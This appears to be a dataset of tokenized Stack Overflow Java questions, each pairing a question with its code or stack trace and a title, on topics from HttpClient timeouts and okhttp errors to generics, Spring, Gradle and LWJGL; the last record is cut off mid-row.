intercepted with wireshark : Postman : ( captured in wireshark ) ( the # # # parts are removed info , I made sure that auth and ids match up ) At # # # /office365/receive.php lies a php script which just echoes back $ _GET [ 'validationtoken ' ] . This works perfectly in Postman.In Java , I create a request with the same headers and the same bodyI verified that all ( important ) parts of the request are exactly the same.My code in java is a little to complex to share fully here , however the important bits are : The HttpClient is constructed like this : No matter how high I set the limit , I never get a response , the office api . Not even an error response.TL ; DR : My request works fine in postman , exact same request in Java times out ( no matter the timeout length )","Ý ` ! Ë2 @ ʸ1cÊþßV : ðîPOST /api/v2.0/me/subscriptions HTTP/1.1Content-Type : application/jsoncache-control : no-cachePostman-Token : a24df796-c49e-4245-a1cf-0949cd6538b6Authorization : Bearer # # # User-Agent : PostmanRuntime/7.4.0Accept : */*Host : localhost:3000accept-encoding : gzip , deflatecontent-length : 430Connection : keep-alive { `` @ odata.type '' : '' # Microsoft.OutlookServices.PushSubscription '' , `` ChangeType '' : `` Created , Deleted , Updated '' , `` ClientState '' : `` some-token '' , `` NotificationURL '' : `` https : // # # # /office365/receive.php ? subId=5 '' , `` Resource '' : `` https : //outlook.office.com/api/v2.0/me/Calendars ( ' # # # ' ) /events '' } E/ @ @ 5â $ ¸³zêð-gÄV $ Là¼Là¼POST /api/v2.0/me/subscriptions HTTP/1.1Accept : */*Content-Type : application/jsonAuthorization : Bearer # # # Content-Length : 476Host : localhost:3000Connection : Keep-AliveUser-Agent : Apache-HttpClient/4.5.2 ( Java/1.7.0_80 ) Accept-Encoding : gzip , deflate { `` @ odata.type '' : '' # Microsoft.OutlookServices.PushSubscription '' , `` ChangeType '' : `` Created , Deleted , Updated '' , `` ClientState '' : `` 1fdb3e372212622e0b7e68abe09e1201a81a8bcc040cce9a6f013f71a09bfbe1 '' , `` NotificationURL '' : `` https : // # # # /office365/receive.php '' , `` Resource '' : `` https : //outlook.office.com/api/v2.0/me/Calendars ( ' # # # ' ) /events '' } // build urlprivate final RequestBuilder getRequest ( String url ) { RequestBuilder req = RequestBuilder.create ( getMethod ( ) ) ; // e.g . POST req.setUri ( overwriteBaseUrl ( url ) + getPath ( ) ) ; // headers is a hashmap < String , String > for ( String key : headers.keySet ( ) ) { req.setHeader ( key , headers.get ( key ) ) ; } // set body ( handle empty cases ) String body = getBody ( ) ; if ( body == null ) { body = `` '' ; } req.setEntity ( new StringEntity ( body , `` UTF-8 '' ) ) ; return req ; } public void send ( HttpClient client , Office365Credentials cred , String url ) throws IOException , InvalidCrmCredentialsException , MalformedResponseException { // creates request ( with headers , body , etc ) RequestBuilder req = getRequest ( url ) ; // adds auth addAuthHeaderToRequest ( cred , req ) ; // execute the request Response response ; try { response = new Response ( client.execute ( req.build ( ) ) ) ; } catch ( ConnectionPoolTimeoutException e ) { // The 10 second limit has passed throw new MalformedResponseException ( `` Response missing ( response timed out ) ! `` , e ) ; } // check for 401 , not authorized if ( response.getStatus ( ) == 401 ) { throw new InvalidCrmCredentialsException ( `` 401 - Not authorized ! `` + req.getUri ( ) .toString ( ) ) ; } // process response processResponse ( response ) ; } int CONNECTION_TIMEOUT_MS = 10 * 1000 ; // 10 second timeout RequestConfig requestConfig = RequestConfig.custom ( ) .setConnectionRequestTimeout ( CONNECTION_TIMEOUT_MS ) .setConnectTimeout ( CONNECTION_TIMEOUT_MS ) .setSocketTimeout ( CONNECTION_TIMEOUT_MS ) .build ( ) ; client = HttpClientBuilder.create ( ) .setDefaultRequestConfig ( requestConfig ) .build ( ) ;","Identical request timing out in Java Apache , working fine in postman" +Java,"I use RoboSpice-Retrofit for calling my server REST api which has been working without problems until a few days ago when every single call now throws an exception , Example : dependencies : I suspect based on the exception that there is something wrong with the compiler , but I just tested on another computer with a fresh install of Java and Android Studio on the same project but same problems still ... This error is driving me crazy ... Anyone knows anything that could be of help ? Any help is highly appreciated.EDIT MainActivity.java : TestAPIService.java : TestAPI.java : TestRequest.java :","D/Retrofit : java.lang.NoSuchMethodError : No direct method < init > ( Lcom/squareup/okhttp/OkHttpClient ; Lcom/squareup/okhttp/Request ; ZZZLcom/squareup/okhttp/Connection ; Lcom/squareup/okhttp/internal/http/RouteSelector ; Lcom/squareup/okhttp/internal/http/RetryableSink ; Lcom/squareup/okhttp/Response ; ) V in class Lcom/squareup/okhttp/internal/http/HttpEngine ; or its super classes ( declaration of 'com.squareup.okhttp.internal.http.HttpEngine ' appears in /data/app/com.company.app.customerapp-1/base.apk ) at com.squareup.okhttp.internal.huc.HttpURLConnectionImpl.newHttpEngine ( HttpURLConnectionImpl.java:362 ) at com.squareup.okhttp.internal.huc.HttpURLConnectionImpl.initHttpEngine ( HttpURLConnectionImpl.java:312 ) at com.squareup.okhttp.internal.huc.HttpURLConnectionImpl.getResponse ( HttpURLConnectionImpl.java:377 ) at com.squareup.okhttp.internal.huc.HttpURLConnectionImpl.getResponseCode ( HttpURLConnectionImpl.java:497 ) at retrofit.client.UrlConnectionClient.readResponse ( UrlConnectionClient.java:73 ) at retrofit.client.UrlConnectionClient.execute ( UrlConnectionClient.java:38 ) at retrofit.RestAdapter $ RestHandler.invokeRequest ( RestAdapter.java:321 ) at retrofit.RestAdapter $ RestHandler.invoke ( RestAdapter.java:240 ) at java.lang.reflect.Proxy.invoke ( Proxy.java:393 ) at $ Proxy0.getTest ( Unknown Source ) at com.adoperator.tidyapp.TestActivity $ TestRequest.loadDataFromNetwork ( TestActivity.java:67 ) at com.adoperator.tidyapp.TestActivity $ TestRequest.loadDataFromNetwork ( TestActivity.java:54 ) at com.octo.android.robospice.request.CachedSpiceRequest.loadDataFromNetwork ( CachedSpiceRequest.java:48 ) at com.octo.android.robospice.request.DefaultRequestRunner.processRequest ( DefaultRequestRunner.java:150 ) at com.octo.android.robospice.request.DefaultRequestRunner $ 1.run ( DefaultRequestRunner.java:217 ) at java.util.concurrent.Executors $ RunnableAdapter.call ( Executors.java:423 ) at java.util.concurrent.FutureTask.run ( FutureTask.java:237 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1113 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:588 ) at java.lang.Thread.run ( Thread.java:818 ) D/Retrofit : -- -- END ERROR compile 'com.octo.android.robospice : robospice:1.4.14'compile 'com.octo.android.robospice : robospice-cache:1.4.14'compile 'com.octo.android.robospice : robospice-retrofit:1.4.14 ' SpiceManager spiceManager = new SpiceManager ( TestAPIService.class ) ; protected void onStart ( ) { super.onStart ( ) ; spiceManager.start ( this ) ; spiceManager.execute ( new TestRequest ( ) , new RequestListener < ResponseData > ( ) { ... } ) ; } public class TestAPIService extends RetrofitGsonSpiceService { @ Override public void onCreate ( ) { super.onCreate ( ) ; addRetrofitInterface ( TestAPI.class ) ; } @ Override protected String getServerUrl ( ) { return `` http : //192.168.0.2 '' ; } } public interface TestAPI { @ GET ( `` /test '' ) ResponseData getTest ( ) ; } public class TestRequest extends RetrofitSpiceRequest < ResponseData , TestAPI > { public TestRequest ( ) { super ( ResponseData.class , TestAPI.class ) ; } @ Override public ResponseData loadDataFromNetwork ( ) throws Exception { ResponseData response ; try { response = getService ( ) .getTest ( ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; throw e ; } return response ; } }",RoboSpice throwing okhttp exceptions +Java,"Is it possible to bundle a JRE within an exported stand alone Java app ? We have a very specific requirement to run a standalone AnyLogic Java app on a machine that does not have the latest Java version installed and due to company IT policies we will not be able to do soThrough some research I have found some sites to claim that they have already been doing it for Windows and Mac.Using a bundled JRE on OSXhttps : //wiki.openjdk.java.net/display/MacOSXPort/How+to+embed+a+.jre+bundle+in+your+Mac+apphttp : //www.intransitione.com/blog/take-java-to-app-store/My issue is that most of these posts refer to bundling an app for Mac OS x and requires that the jar files be created in an IDE like Eclipse . But since I use AnyLogic the jar files gets exported without myself being able to intervene . What I need is to change the command line code that runs the jar files and currently looks like this : ( Note : Code reduced for readability ) into something that I assume will pass the jre or JVM to be used as an argument to the java call . Or maybe set the directory to be used for java or something ... as calling the java command on a machine without java installed renders nothing.I have a very simple app , as well as a jdk plugin that I got from the moneydance app , which is a java app that runs on OSx with its own embedded jre , available herehttps : //www.dropbox.com/sh/1bedimsb0lj403t/AADYR7iFoBD4YiqS_RGZ2xAVa ? dl=0Thanks",java -Xdock : name= '' AnyLogic Model '' -Dnativewindow.awt.nohidpi=true -cp com.anylogic.engine.jar : com.anylogic.engine.nl.jar : lib/database/querydsl/querydsl-sql-codegen-3.6.3.jar -Xmx256m model6.Simulation $ *,How to call an embedded jre from command line in order to run java applications +Java,"GlassFish allows creating N domains . Every domain has its own Java classes ( libraries etc ) and system settings . For example , we have two domains - domain1 and domain2 . Via GF web console ( http : //localhost:4848 ) one system property was set for domain1 - com.temp.foo=test1 . Besides via GF web console ( http : //localhost:7575 ) one system property was set for domain2 - com.temp.foo=test2.Now , in domain1 And in domain2As I understand GF and all its domains are running in one instance of JVM . And I do n't understand how it is possible in one instance of JVM separate system properties . Could anyone explain ? Note : I understand that it can be a very long explanation that 's why I am asking only about main principle and solutions/libraries names in an order I could read about them on the internet .",System.out.println ( System.getProperty ( `` org.temp.foo '' ) ) //returns ` test1 ` System.out.println ( System.getProperty ( `` org.temp.foo '' ) ) //returns ` test2 `,How glassfish domains are separated from each other ? +Java,"I am getting a compiler error calling a generic method with explicit type parameters , as if the explicit type parameter had not been taken into account . Minimal example : ThingProducer is a raw type since the class has a type parameter , but in calling getThing we are not referencing the class type parameter , but instead providing the method type parameter . Per my understanding of the JLS , this should be legal , but it gives me this error : The error disappears if I remove the < S > from ThingProduceror make getThing staticdeclare thingProducer ThingProducer < ? > instead of the raw type ThingProducerIs this a compiler bug ? If not , what rule in the JLS defines this behavior ?",class CastExample { static class ThingProducer < S > { public < T > T getThing ( ) { return null ; } } static class ThingA { } public static void main ( String ... args ) { ThingProducer thingProducer = new ThingProducer ( ) ; ThingA thingA = thingProducer. < ThingA > getThing ( ) ; // compile error here } } incompatible types : Object can not be converted to ThingA,Explicit method type parameter ignored on a raw class type ; compiler bug ? +Java,"I '' m getting an error java.lang.NullPointerException error on the following code.The algorithm : If n ≤ 3 find the closest points by brute force and stop.Find a vertical line V such that divides the input set into two disjoint subsets PL and PR of size as equal as possible . Points to the left or on the line belong PL and points to the right or on the line belong to PR . No point belongs to both since the sets are disjoint.Recursively find the distance δL of a closest pair of points in PL and the distance δR of a closestpair in PR.Let δ = min ( δL , δR ) . The distance of a pair of closest points in the input set P is either that of the points found in the recursive step ( i.e. , δ ) or consists of the distance between a point in PL and a point in PR.The only candidate points one from PL and one from PR must be in a vertical strip consistingof a line at distance δ to the left of the line V and a line at distance δ to the right of VLet YV be an array of the points within the strip sorted by non-decreasing y coordinate ( i.e. , if i ≤ j then YV [ i ] ≤ YV [ j ] ) .Starting with the first point in YV and stepping trough all except the last , check the distance of this point with the next 7 points ( or any that are left if there are not as many as 7 ) . If a pair is found with distance strictly less than δ then assign this distance to δ.Return δ.Bottom line is that , it uses a conceptual sweep line and recursion to find the closest points in the Euclidean space.Now the methods that I have to write : public static int cP ( pointSet P ) .This does methods the preparatory work for the recursive part of the algorithm and calls the method closestPairAux for the recursive part.public static int cPA ( Point [ ] X , Point [ ] Y ) .This method carries out the recursive part of the algorithm ; that is , the bulk of the work.Other methods and classesA point is represented in the plane by an object of the class Point . This does the obvious thing ; it holds the x and y coordinates as numbers so that if P is an object of type Point then P.x and P.yThe set of input points is represented by an object of the class PointSet . As this isa set there can be no repetition of a point and we can not assume any ordering on the elements.public static PointSet gP ( String f ) .This opens a file called f and reads points from it.public Point nP ( PointSet P ) .This is used to iterate over the points in P. The algorithm closestPair is implemented by the methodpublic static Point closestPair ( PointSet P ) .if n = 2 then return ( x1 − x2 ) ^2 + ( y1 − y2 ) ^2elsed ← 0for i ← 1 to n − 1 do for j ← i + 1 to n do t ← ( xi − xj ) ^2 + ( yi − yj ) ^2 if t < d then d ← treturn dpublic static PointSet generatePoints ( int n ) .This returns a set of n points , whose coordinates are integers.public Point [ ] sort ( char c ) .This returns the points in the point set in an array sorted in non-decreasing order by coordinate as indicated by the parameter c. This parameter takes either the value ’ x ’ or the value ’ y ’ , an exception UnknownSortOptionException is raised otherwise.This what I wrote so far : I decide that the first method should do the trivial case , n= < 3 , and then call the aux method.Is this method defined as it should ? An the second one : Which I need big time help on this one.Now when I define the following class to test my methods//Generates t sets of points of size n and obtains the squared distance of a claimed closest pair using your implementation of the method closestPair for each set . If all results are correct then a message reporting this is returned , else failure is reported . No further information is given . Note that t must be strictly positive ( an exception Invalid-NumberOfTestsException is raised otherwise ) . } } I get the following Exception in thread `` main '' java.lang.NullPointerException in the 3 spots when I give the variable distance values ( I note it above ) ... What should I do ?","public static int cP ( PointSet P ) throws TrivialClosestPairException , UnknownSortOptionException { int distance = 0 ; // a method form the Poirnt class that calculate the square distance between this point and another point Point [ ] x = P.sort ( ' x ' ) ; Point [ ] x = P.sort ( ' y ' ) ; distance = cPA ( x , y ) ; **- > here** return distance ; } public static int cPA ( Point [ ] X , Point [ ] Y ) throws TrivialClosestPairException , UnknownSortOptionException { if ( X.length < 4 ) { return PointSet.nCP ( new PointSet ( X ) ) ; } int V = X [ ( int ) Math.ceil ( ( ( double ) X.length/2 ) -1 ) ] .getX ( ) ; Point [ ] PL = Arrays.copyOfRange ( X , ( int ) 0 , ( int ) Math.ceil ( X.length/2 ) ) ; Point [ ] PR = Arrays.copyOfRange ( X , ( int ) Math.floor ( X.length/2 ) , ( int ) X.length-1 ) ; int distance = Math.min ( cPA ( PL , Y ) , cPAPR , Y ) ) ; **- > here** Point [ ] shortDist = new Point [ Y.length ] ; int n = 0 ; for ( int i = 0 ; i < Y.length ; i++ ) { int A = Y [ i ] .getY ( ) ; if ( ( V-A ) * ( V-A ) < = distance ) { shortDist [ n ] = Y [ i ] ; } } for ( int i =0 ; i < shortDist.length -1 ; i++ ) { for ( int r = i+1 ; r < shortDist.length-1 & & r < i + 7 ; r ++ ) { distance = Math.min ( d , shortDist [ i ] .sqrDist ( shortDist [ r ] ) ) ; **- > here** } } return distance ; **- > here** } public class Test { public static void main ( String [ ] args ) { ClosestPair.closestPairCheck ( 10 , 10 ) ;",2 Java methods java.lang.NullPointerException +Java,"ContextSuppose you have a component with a great many options to modify its behavior . Think a table of data with some sorting , filtering , paging , etc . The options could then be isFilterable , isSortable , defaultSortingKey , etc etc . Of course there will be a parameter object to encapsulate all of these , let 's call it TableConfiguration . Of course we do n't want to have a huge constructor , or a set of telescopic constructors , so we use a builder , TableConfigurationBuilder . The example usage could be : So far so good , a ton of SO questions deals with this already.Moving forwardThere is now a ton of Tables and each of them uses its own TableConfiguration . However , not all of the `` configuration space '' is used uniformly : let 's say most of the tables is filterable , and most of those are paginated . Let 's say , there are only 20 different combinations of configuration options that make sense and are actually used . In line with the DRY principle , these 20 combinations live in methods like these : QuestionHow to manage these 20 methods , so that developers adding new tables can easily find the configuration combination they need , or add a new one if it does not exist yet ? All of the above I use already , and it works reasonably well if I have an existing table to copy-paste ( `` it 's exactly like Customers '' ) . However , every time something out of the ordinary is required , it 's hard to figure out : Is there a method doing exactly what I want ? ( problem A ) If not , which one is the closest one to start from ? ( problem B ) I tried to give the methods some very descriptive names to express what configuration options are being built in inside , but it does not scale really well ... EditWhile thinking about the great answers below , one more thing occurred to me : Bonus points for grouping tables with the same configuration in a type-safe way . In other words , while looking at a table , it should be possible to find all its `` twins '' by something like go to definition and find all references .",TableConfiguration config = new TableConfigurationBuilder ( ) .sortable ( ) .filterable ( ) .build ( ) ; public TableConfiguration createFilterable ( ) { return new TableConfigurationBuilder ( ) .filterable ( ) .build ( ) ; } public TableConfiguration createFilterableSortable ( ) { return new TableConfigurationBuilder ( ) .filterable ( ) .sortable ( ) .build ( ) ; },"Class with many parameters , beyond the Builder pattern" +Java,"A curiosity that I 've just noticed , rather than a problem.I 'm not allowed to writeor this : but I am allowed to writeWhy is this ? ( It appears to throw an NPE if the `` else '' branch is taken . )",public boolean x ( ) { return null ; } public boolean x ( ) { if ( DEBUG ) { return true ; } else { return null ; } } public boolean x ( ) { return DEBUG ? true : null ; },Why does returning null ( where a boolean is expected ) as the result of a ternary operator compile ? +Java,"We have records in our datastore that have effective & expiry time . This information is stored using the string representation of Instant.There are some records that would never expire . But since the value for expiry date is mandatory , we decided to store string representation of Instant.MAX.So far so good . We have search use-case to return all the records that are active within the input time range [ s , e ] . We query the datastore and return all such records [ Si , Ei ] which satisfy the condition Si < s & & e < Ei Note that string representations are being compared here.Now the problem is that + is being prepended to the string representation of Instant.MAX . This is failing the condition e < Ei since ASCII ( '+ ' ) < ASCII ( digit ) .I 've written a piece of code to know after which second , the + starts getting prepended : which prints : I 've the option of truncating the + before persisting in datastore . I 'm more interested in why this is happening and how can we explicitly avoid it ?",Long e = Instant.now ( ) .getEpochSecond ( ) *1000 ; for ( int i = 0 ; i < 5 ; i++ ) { System.out.println ( e + `` - > '' + Instant.ofEpochMilli ( e ) ) ; e *= 10 ; } 1471925168000- > 2016-08-23T04:06:08Z14719251680000- > 2436-06-07T17:01:20Z147192516800000- > 6634-05-07T02:13:20Z1471925168000000- > +48613-06-14T22:13:20Z14719251680000000- > +468404-07-08T06:13:20Z,Instant toString prepends plus +Java,"Here is my code to print string characters reversed in Java without using any API . But it 's not working properly . Can anybody help me to correct it ? It is giving output `` test amtest '' , while the output should be `` test am I '' .Please help me to get exact output without using predefined methods or API 's .",public static void main ( String args [ ] ) { String input = `` I am test '' ; String result = `` '' ; for ( int i = input.length ( ) - 1 ; i > 0 ; i -- ) { Character c = input.charAt ( i ) ; if ( c ! = ' ' ) { result = c + result ; } else { System.out.println ( result + `` `` ) ; } } },String word reverse in Java giving wrong result ? +Java,"I 'm fairly new to java and am just trying to get my head around understanding @ Override of the equals ( ) and hashcode ( ) methods . I know for the equals method to be correct it needs to be : Reflexive : a.equals ( a ) Symmetric : a.equals ( b ) then b.equals ( a ) Transitive : a.equals ( b ) & & b.equals ( c ) Then a.equals ( c ) Not null : ! a.equals ( null ) I am struggling to pinpoint which of the above properties I am and am not satisfying when writing my overide of the equals method.I am aware that eclipse can generate these for me , however as I have n't yet gotten the concept fully , writing it out helps me to learn.I have written out the what I think is the correct way to do it , but when I check with the eclipse generated version I seem to be 'missing ' some aspects.Example : What I wrote : vs eclipse generatedI am missing : And for each variable : I 'm not sure what getClass ( ) is and is my implmentation incorrect ?","public class People { private Name first ; //Invariants -- > ! Null , ! =last private Name last ; // ! Null , ! =first private int age ; // ! Null , ! < =0 ... } public boolean equals ( Object obj ) { if ( obj == null ) { return false ; } if ( ! ( obj instanceof People ) ) { return false ; } People other = ( People ) obj ; if ( this.age ! = other.age ) { return false ; } if ( ! this.first.equals ( other.first ) ) { return false ; } if ( ! this.last.equals ( other.last ) ) { return false ; } return true ; } public boolean equals ( Object obj ) { if ( this == obj ) return true ; if ( obj == null ) return false ; if ( getClass ( ) ! = obj.getClass ( ) ) return false ; People other = ( People ) obj ; if ( first == null ) { if ( other.first ! = null ) return false ; } else if ( ! first.equals ( other.first ) ) return false ; if ( age ! = other.age ) return false ; if ( last == null ) { if ( other.last ! = null ) return false ; } else if ( ! last.equals ( other.last ) ) return false ; return true ; } if ( this == obj ) return true ; if ( getClass ( ) ! = obj.getClass ( ) ) return false ; if ( first == null ) { if ( other.first ! = null ) return false ; } else if ( ! first.equals ( other.first ) ) return false ;",Which part of the equals ( ) general contract does my equals ( ) not satisfy +Java,"Line-1 : This Line gives error.I know if I write abstract or Final for class inner . then , it is fine . Why class inner ca n't be private ?",class outer { public void outerfunction ( ) { private class inner // Line-1 { public void showinner ( ) { System.out.println ( `` I am in Inner Class '' ) ; } } } },Why ca n't we declare private local inner class inside a method ? +Java,"ProblemI am working with Android and Kotlin and I would like to have an annotation to check if a constant String parameter ( to a function or constructor ) matches a certain pattern ( regex ) . I read about the Pattern Annotation , but am not sure if it applies to my problem and if it is available with Android.So when i would have code like thisthenshould compile just fine , butshould n't . Is this possible , preferably without any third party libraries ? If yes , how would I implement an annotation like that ? ( sorry , I 'm not familiar with writing my own custom annotations ) BackgroundI would like to pass words with hyphen-separated syllables as params , however a word should not have more than 3 syllables ( that means max . 2 hyphens per word ) . I 'm aware I could also achieve this with default params , but I think an annotation would be a more elegant way to achieve this .",fun foo ( @ MatchesPattern ( `` a*b '' ) bar : String ) = println ( bar ) foo ( `` aaaab '' ) foo ( `` bb '' ),Is there an android annotation for checking the pattern of string parameter ? +Java,"I was recently bitten by a bug in which I had a Map with key type Long , but I attempted to use it with keys of type String . I essentially had something like : Because all of the keys in the map were of type Long , the code always executed the else block.Since the containsKey and get methods take an argument of type Object , an object of any old type is accepted without complaint.My confusion stemmed from the fact that the same entity is represented in two different ways in our system ( sometimes as a Long , sometimes as a String ) ; I ca n't easily change this . Is there any way I can catch an error like this while developing rather than during testing ? Perhaps a compiler flag or some Eclipse option that is a little smarter about what sort of object I should be using with the containsKey and get methods ( and their analogs in Set , too ... )","Map < Long , Object > map ; ... String wrongType ; if ( map.containsKey ( wrongType ) ) { // Do something } else { // Do something different }",Java : Compiler or Eclipse warning when attempting to use wrong type as Map key +Java,"If I use the following Spring XML config , what will be the result if I assign the resulting bean to multiple properties ? As far as I can see , there are two possible outcomes : Multiple lists are created , but the beans inside them are shared ( because their scope defaults to singleton ) Multiple lists are created , and a new copy of each bean is created for each list instanceAlso , what about this scenario ? This seems to offer additional possibilities : The referencedBean remains a singleton , but multiple instances of MyTestBeanClass2 are created.Both referencedBean and MyTestBeanClass2 are duplicated for each instance of the list created ( this strikes me as unlikely , but still plausible ) .I do n't seem to be able to find any discussion of this in the spring docs . In fact , as far as I can see , the existence of the scope property on util : list is n't even mentioned in the docs . Have I missed it , or is this entirely undocumented ? If so can/should I rely on any particular behaviour ?",< util : list id= '' myBeanId '' scope= '' prototype '' > < bean class= '' com.mypackage.MyTestBeanClass1 '' / > < bean class= '' com.mypackage.MyTestBeanClass2 '' / > < /util : list > < bean id= '' referencedBean '' class= '' com.mypackage.MyTestBeanClass1 '' / > < util : list id= '' myBeanId '' scope= '' prototype '' > < ref bean= '' referencedBean '' / > < bean class= '' com.mypackage.MyTestBeanClass2 '' / > < /util : list >,How does util : list behave with scope= '' prototype '' ? +Java,"The G-Clef ( U+1D11E ) is not part of the Basic Multilingual Plane ( BMP ) , which means that it requires more than 16 bit . Almost all of Java 's read functions return only a char or a int containing also only 16 bit . Which function reads complete Unicode symbols including SMP , SIP , TIP , SSP and PUA ? UpdateI have asked how to read a single Unicode symbol ( or code point ) from a input stream . I neither have any integer array nor do I want to read a line.It is possible to build a code point with Character.toCodePoint ( ) but this function requires a char . On the other side reading a char is not possible because read ( ) returns an int . My best work around so far is this but it still contains unsafe casts : How to do it better ? Update 2Another version returning a String but still using casts : The remaining question : are the casts safe or how to avoid them ?","public int read_code_point ( Reader input ) throws java.io.IOException { int ch16 = input.read ( ) ; if ( Character.isHighSurrogate ( ( char ) ch16 ) ) return Character.toCodePoint ( ( char ) ch16 , ( char ) input.read ( ) ) ; else return ( int ) ch16 ; } public String readchar ( Reader input ) throws java.io.IOException { int i16 = input.read ( ) ; // UTF-16 as int if ( i16 == -1 ) return null ; char c16 = ( char ) i16 ; // UTF-16 if ( Character.isHighSurrogate ( c16 ) ) { int low_i16 = input.read ( ) ; // low surrogate UTF-16 as int if ( low_i16 == -1 ) throw new java.io.IOException ( `` Can not read low surrogate '' ) ; char low_c16 = ( char ) low_i16 ; int codepoint = Character.toCodePoint ( c16 , low_c16 ) ; return new String ( Character.toChars ( codepoint ) ) ; } else return Character.toString ( c16 ) ; }",How to read a Unicode G-Clef ( U+1D11E ) from a file ? +Java,"I currently have a simple problem with LWJGL right now . If I were to run my game , it does actually run everything correctly and it appears to close out correctly , but when I look inside my Task Manager , I notice that my game is taking up 25 % CPU after I close it ( about 2-3 % when it 's actually running ) and I 'm thinking that I may have missed something when ending the application.My main function code : cleanup : It does actually manage to read `` Running cleanup code . '' My problem is that I do n't know if there is something else I need to do to clear out all of the processes . This game is also using a single thread .",public static void main ( String [ ] args ) { try { init ( ) ; } catch ( LWJGLException e ) { System.out.println ( `` LWJGLException\n '' ) ; e.printStackTrace ( ) ; } try { gameLoop ( ) ; } catch ( Exception ex ) { ex.printStackTrace ( ) ; } finally { cleanup ( ) ; } } public static void cleanup ( ) { System.out.println ( `` Running cleanup code . `` ) ; Display.destroy ( ) ; System.exit ( 0 ) ; },LWJGL Game not properly ending +Java,"I was looking at the String Javadoc when I noticed this bit about String concatenation : The Java language provides special support for the string concatenation operator ( + ) , and for conversion of other objects to strings . String concatenation is implemented through the StringBuilder ( or StringBuffer ) From the Java 8 JLS 15.8.1 , it is a choice given to the compiler ( emphasis mine ) : An implementation may choose to perform conversion and concatenation in one step to avoid creating and then discarding an intermediate String object . To increase the performance of repeated string concatenation , a Java compiler may use the StringBuffer class or a similar technique to reduce the number of intermediate String objects that are created by evaluation of an expression.I made a small program to see what it compiles down toAnd the output when running javap -c Tester shows that StringBuilder is being used : I 've looked at a handful of questions that tell the story that StringBuilder is generally faster because of synchronization in StringBuffer , and that is substituted for these string concatenations : When is StringBuffer/StringBuilder not implicitly used by the compiler ? What happens when Java Compiler sees many String concatenations in one line ? Java : String concat vs StringBuilder - optimised , so what should I do ? Best practices/performance : mixing StringBuilder.append with String.concatStringBuilder vs String concatenation in toString ( ) in JavaStringBuilder and StringBufferSo , considering the things I 've read that show that StringBuilder is generally the better choice leads me to wonder a couple things : When and why would a compiler choose to use StringBuffer instead of StringBuilder ? Would n't it make more sense if the compiler had the choice of using any AbstractStringBuilder implementation ?","public class Tester { public static void main ( String [ ] args ) { System.out.println ( `` hello '' ) ; for ( int i = 1 ; i < 5 ; i++ ) { String s = `` hi `` + i ; System.out.println ( s ) ; } String t = `` me '' ; for ( int i = 1 ; i < 5 ; i++ ) { t += i ; System.out.println ( t ) ; } System.out.println ( t ) ; } } Compiled from `` Tester.java '' public class Tester { public Tester ( ) ; Code : 0 : aload_0 1 : invokespecial # 1 // Method java/lang/Object . `` < init > '' : ( ) V 4 : return public static void main ( java.lang.String [ ] ) ; Code : 0 : getstatic # 2 // Field java/lang/System.out : Ljava/io/PrintStream ; 3 : ldc # 3 // String hello 5 : invokevirtual # 4 // Method java/io/PrintStream.println : ( Ljava/lang/String ; ) V 8 : iconst_1 9 : istore_1 10 : iload_1 11 : iconst_5 12 : if_icmpge 48 15 : new # 5 // class java/lang/StringBuilder 18 : dup 19 : invokespecial # 6 // Method java/lang/StringBuilder . `` < init > '' : ( ) V 22 : ldc # 7 // String hi 24 : invokevirtual # 8 // Method java/lang/StringBuilder.append : ( Ljava/lang/String ; ) Ljava/lang/StringBuilder ; 27 : iload_1 28 : invokevirtual # 9 // Method java/lang/StringBuilder.append : ( I ) Ljava/lang/StringBuilder ; 31 : invokevirtual # 10 // Method java/lang/StringBuilder.toString : ( ) Ljava/lang/String ; 34 : astore_2 35 : getstatic # 2 // Field java/lang/System.out : Ljava/io/PrintStream ; 38 : aload_2 39 : invokevirtual # 4 // Method java/io/PrintStream.println : ( Ljava/lang/String ; ) V 42 : iinc 1 , 1 45 : goto 10 48 : ldc # 11 // String me 50 : astore_1 51 : iconst_1 52 : istore_2 53 : iload_2 54 : iconst_5 55 : if_icmpge 90 58 : new # 5 // class java/lang/StringBuilder 61 : dup 62 : invokespecial # 6 // Method java/lang/StringBuilder . `` < init > '' : ( ) V 65 : aload_1 66 : invokevirtual # 8 // Method java/lang/StringBuilder.append : ( Ljava/lang/String ; ) Ljava/lang/StringBuilder ; 69 : iload_2 70 : invokevirtual # 9 // Method java/lang/StringBuilder.append : ( I ) Ljava/lang/StringBuilder ; 73 : invokevirtual # 10 // Method java/lang/StringBuilder.toString : ( ) Ljava/lang/String ; 76 : astore_1 77 : getstatic # 2 // Field java/lang/System.out : Ljava/io/PrintStream ; 80 : aload_1 81 : invokevirtual # 4 // Method java/io/PrintStream.println : ( Ljava/lang/String ; ) V 84 : iinc 2 , 1 87 : goto 53 90 : getstatic # 2 // Field java/lang/System.out : Ljava/io/PrintStream ; 93 : aload_1 94 : invokevirtual # 4 // Method java/io/PrintStream.println : ( Ljava/lang/String ; ) V 97 : return }",When would a compiler choose StringBuffer over StringBuilder for String concatenation +Java,I 'm trying to port Codename One client builds which are very customized ant scripts to work with gradle . When you run a Codename One app on the simulator you are n't running the apps main class but rather something like : To do this in gradle I edited the basic build script as such : Then at the bottom I did this : This worked as expected and launched the simulator when pressing run in the IDE ( NetBeans ) . I 'm not sure if this is the `` right thing '' to do though and if it will work in other IDE's.Then when I tried launching in the debugger the arguments were n't passed since I 'm guessing the run target was n't invoked ? I tried doing this : Which obviously failed . I 'm not exactly sure where to pass arguments to the debugger ? Is this standardized by gradle ? Am I in the right direction regarding argument passing ? What does the `` run '' declarative syntax map to ? How do I find the other potential declarative block types ? Unfortunately googling for basics like run/debug does n't result in something useful .,java -classpath CodenameOneJarList com.codename1.impl.javase.Simulator nameOfTheMainClassForTheApp apply plugin : 'java'apply plugin : 'application'mainClassName = `` com.codename1.impl.javase.Simulator '' // for netbeansext.mainClass = 'com.codename1.impl.javase.Simulator ' run { args 'com.mycompany.myapp.Main ' } debug { args 'com.mycompany.myapp.Main ' },Debug target for gradle equivalent to the run { } block for passing arguments +Java,"Using Java which is the best way to merge two arrays of class based on some value of the class ? Example , We have these two Classes : And in some point of our code we have two Arrays like : The final array should be like : I 'm trying to figure out the best way to achieve this result without reading one or another array from start to end , because here the two arrays have only few rows , but in reality they both can have a length of 100k+ ...","public class C1 { public String id= '' '' ; public String value= '' '' ; public String tot= '' '' ; } public Class C2 { public String id= '' '' ; public String tot= '' '' ; } //id -value - totC1 a [ ] = { { `` 1 '' , '' value # 1 '' , 